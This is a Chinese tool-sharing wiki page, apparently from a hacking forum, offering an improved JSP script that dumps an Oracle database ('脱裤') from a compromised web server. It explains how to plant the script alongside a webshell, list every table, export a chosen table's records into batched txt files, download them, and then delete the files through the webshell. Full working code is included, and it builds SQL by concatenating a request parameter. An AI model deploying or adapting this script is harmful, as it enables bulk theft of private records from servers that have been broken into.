侧边栏
工具分享:jsp_oracle脱数据脚本改进
jsp_oracle脱数据脚本改进
功能说明：
- 打开后直接列出当前数据库所有表，想脱那个表直接点击右键，保存或下载
- 自己判断打开的表有多少列数，并显示字段名
改进后的补充说明：
习科论坛会员fung建议脱出来的数据生成txt，大批量的数据分多个txt。然后就改进了第一段代码，以适应大批量数据（还没有条件测试，还不知道java中的int能不能经受住大牛们的库的记录数）
使用说明：
- 在第33行附近修改 数据库地址，用户名，密码， 和想要生成的一个txt里面放多少条数据
- 打开主页，直接显示所有表名
- 点击想脱的表名，程序自动在同目录生成txt文件
- 下载
- webshell中删除txt，脱裤脚本没有集成删除脱出来的txt
代码和下载：
- oracle.jsp
<%@ page language="java" import="java.util.*" pageEncoding="GBK"%> <%@ page import="oracle.jdbc.*"%> <%@ page import="java.sql.*" %> <%@ page contentType="text/html; charset=GBK" %> <%@ page import="java.io.*" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <base href="<%=basePath%>"> <title>XXOO</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> <!-- <link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css"> --> </head> <body> <% String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath(); Class.forName("oracle.jdbc.driver.OracleDriver").newInstance(); ResultSet rs=null; ResultSet rs_column=null; ResultSet rs_dump=null; String oraUrl="jdbc:oracle:thin:@192.168.1.81:1521:db"; String oraUser="username"; String oraPWD="password"; int size=30000; try { DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver()); } catch (SQLException e){ out.print("filed!!"); } try { Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD); conn.setAutoCommit(false); if (request.getParameter("table") == null || request.getParameter("table").equals("")) { out.print("xixi... "); Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); rs=stmt.executeQuery("select table_name from user_tables"); while(rs.next()) { out.print("<a href=");out.print(url);out.print("?table=");out.print(rs.getString(1)); out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a> "); } rs.close(); stmt.close(); } else { out.print("Current table : "+request.getParameter("table")); String sql_count="select count(*) from user_tab_columns where Table_Name='"+request.getParameter("table")+"'"; String sql_column="select * from user_tab_columns where Table_Name='"+request.getParameter("table")+"'"; String sql_columns_count="select count(*) from "+request.getParameter("table"); //String sql_dump="select rownom ro,* from T_SYS_USER"; Statement stmt_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); Statement stmt_column=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); Statement stmt_columns_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); rs=stmt_count.executeQuery(sql_count); rs_column=stmt_column.executeQuery(sql_column); ResultSet rs_columns_count=null; rs_columns_count=stmt_columns_count.executeQuery(sql_columns_count); conn.commit(); int count=0; while(rs.next()) { count=Integer.parseInt(rs.getString(1)); //out.print(count); } int columns_count=0; while(rs_columns_count.next()) // Total number of records { columns_count=Integer.parseInt(rs_columns_count.getString(1)); out.print(" The number of records : "+columns_count+" "); } //out.print(columns_count); int column_num=1; //out.print("<table border='1'>");out.print("<tr>"); String sql_dump="select * from (select rownum ro "; //SELECT while(rs_column.next()) { //out.print(rs_column.getString(3));out.print("\r"); sql_dump+=","; sql_dump+=rs_column.getString(3); column_num+=1; } rs_column.close(); rs.close(); //close stmt_count.close(); stmt_column.close(); sql_dump+=" from "+request.getParameter("table")+" where rownum<="; int mark=0; mark=columns_count; out.print(" Please download: "); while(true) { if(mark<=size) //one txt count { mark=0; } else { mark=mark-size; } String dump=sql_dump+columns_count+") where ro>="+mark; columns_count-=size; Statement stmt_dump=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); rs_dump= stmt_dump.executeQuery(dump); conn.commit(); String filename = request.getRealPath(request.getParameter("table")+"-"+mark+".txt"); java.io.File f = new java.io.File(filename); if(!f.exists()) { f.createNewFile(); } try { PrintWriter pw = new PrintWriter(new FileOutputStream(filename)); while(rs_dump.next()) { column_num=1; while(column_num<=count) { pw.print(rs_dump.getString(column_num)); pw.print(","); column_num+=1; } pw.println(""); } pw.close(); } catch(IOException e) { out.println(e.getMessage()); } out.println(" <a href=./"+request.getParameter("table")+"-"+mark+".txt>"+request.getParameter("table")+"-"+mark+".txt</a> "); if(mark==0) { rs_dump.close(); stmt_dump.close(); break; } } } conn.close(); } catch (SQLException e) { System.out.println(e.toString()); out.print(e.toString()); } %> </body> <!-- made in China--> <!-- Articles from Silic--> <!-- If you have any good suggestions, Please contact me. --> <!-- cleverelie@gmail.com--> <!-- thanks for Silic & fung --> </html>
你需要登录发表评论。
工具分享/jsp_oracle脱数据脚本改进.txt · 最后更改: 2020/05/16 19:19 (外部编辑)
页面工具
